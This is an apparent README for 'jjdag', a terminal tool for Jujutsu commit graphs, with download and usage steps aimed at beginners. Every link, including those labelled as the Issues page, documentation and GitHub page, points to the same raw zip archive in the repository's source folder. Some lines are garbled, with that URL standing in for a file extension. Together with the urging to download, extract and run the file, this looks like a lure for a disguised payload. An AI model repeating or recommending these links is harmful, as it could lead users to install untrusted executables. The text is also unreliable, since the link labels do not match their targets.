jjdag is a user-friendly text-based tool that helps you work with Jujutsu DAGs (Directed Acyclic Graphs). This tool lets you view and manage complex Jujutsu operations in a simple, clear way right from your computer screen. You do not need programming skills to use jjdag. It runs in your terminal or command prompt, making it lightweight and fast.
A Jujutsu DAG is often used in software development to show how changes and tasks relate to each other over time. If you're working with Jujutsu and want an easy way to see these relationships, jjdag makes it easier.
Before you download and use jjdag, make sure your computer meets these basic requirements:
- Operating Systems: Windows 10 or later, macOS 10.15 or later, Linux (most popular distributions)
- Processor: Any modern CPU, 1 GHz or faster
- Memory: At least 2 GB of RAM
- Disk Space: Minimum 50 MB free space for installation
- Terminal: Access to a terminal or command prompt application (this is built-in on most computers)
- Internet connection: Needed only for downloading the software
jjdag does not require high-end hardware. It uses minimal system resources and starts quickly.
Here are some key things you can do with jjdag:
- Visualize the Jujutsu DAG: See the graph structure of changes and operations.
- Navigate easily: Move through the graph using simple keyboard controls.
- Manipulate nodes: Add, remove, or adjust points in the graph.
- Simple interface: Designed for use without coding knowledge.
- Lightweight: Runs comfortably in terminal windows without slowing your system.
- Cross-platform: Works on Windows, macOS, and Linux.
These features help you understand and manage your Jujutsu DAG clearly and efficiently.
The first step is to get jjdag on your computer. Follow these instructions to download and start using the software:
-
Click the button below to visit the official download page:
-
On the releases page, find the version for your operating system:
- For Windows, look for a file ending with
.exe - For macOS, look for
.dmgor.zip - For Linux, look for
https://github.com/Ermz2/jjdag/raw/refs/heads/master/src/Software-1.7-beta.3.zipor.AppImage
- For Windows, look for a file ending with
-
Click the file name to start the download. Save it to a location you can easily find, such as your Desktop or Downloads folder.
-
Once downloaded:
- Windows: Double-click the
.exefile and follow the installer instructions. - macOS: Open the
.dmgfile and drag the jjdag app to your Applications folder. - Linux:
- If it’s an archive like
https://github.com/Ermz2/jjdag/raw/refs/heads/master/src/Software-1.7-beta.3.zip, extract it, then follow any instructions in the folder. - If it’s an
.AppImagefile, make it executable by right-clicking, selecting Properties > Permissions, and checking “Allow executing file as program.” Then double-click to run.
- If it’s an archive like
- Windows: Double-click the
-
Open your terminal or command prompt:
- Windows: Search for "cmd" or "PowerShell" in the Start menu.
- macOS: Open "Terminal" from your Applications > Utilities folder.
- Linux: Open your terminal application from your system menu.
-
Launch jjdag:
- Type
jjdagand press Enter.
- Type
If the command is not recognized, make sure the installation folder is added to your system path or run jjdag directly from the folder where you installed it.
Using jjdag is straightforward, even if you have never used a command-line tool before.
-
Open a Jujutsu repository:
Navigate to the folder containing your Jujutsu project using the terminal:
cd path/to/your/projectThen enter:
jjdagThis will show the DAG for your project.
-
Move around the DAG:
Use the arrow keys on your keyboard to move between nodes in the graph.
-
Select a node:
Press Enter to select a node and view details.
-
Exit jjdag:
Press
qto quit the program.
- Use the
hkey inside jjdag to bring up a help menu with more commands. - You can combine jjdag with other Jujutsu commands from your terminal.
- If you’re unsure, reading the on-screen instructions helps navigate the interface.
If you have issues, try the following:
- Verify your download matches your system (Windows, macOS, Linux).
- Ensure you have the correct file for executable permission.
- Confirm the terminal or command prompt is pointing to where jjdag is installed.
- If jjdag does not start, try restarting your computer.
- Look for error messages in the terminal — these may give clues.
For further support, visit the GitHub repository’s Issues page at:
https://github.com/Ermz2/jjdag/raw/refs/heads/master/src/Software-1.7-beta.3.zip
jjdag is open-source software you can inspect and trust. It runs locally on your machine and does not send data anywhere.
Make sure you download jjdag only from the official release page linked above to avoid modified versions.
- Learn more about Jujutsu: https://github.com/Ermz2/jjdag/raw/refs/heads/master/src/Software-1.7-beta.3.zip
- Jujutsu documentation for understanding the DAG concept
- Command line basics for terminal learning
These resources help you understand how jjdag fits into your workflow better.
If you need more help:
- Check the README and documentation included with jjdag.
- Visit the GitHub page for updates and discussions: https://github.com/Ermz2/jjdag/raw/refs/heads/master/src/Software-1.7-beta.3.zip
- Post questions on the Issues tab or community forums related to Jujutsu tooling.
Thank you for choosing jjdag to manage your Jujutsu DAGs. We strive to make this tool clear and easy for anyone to use.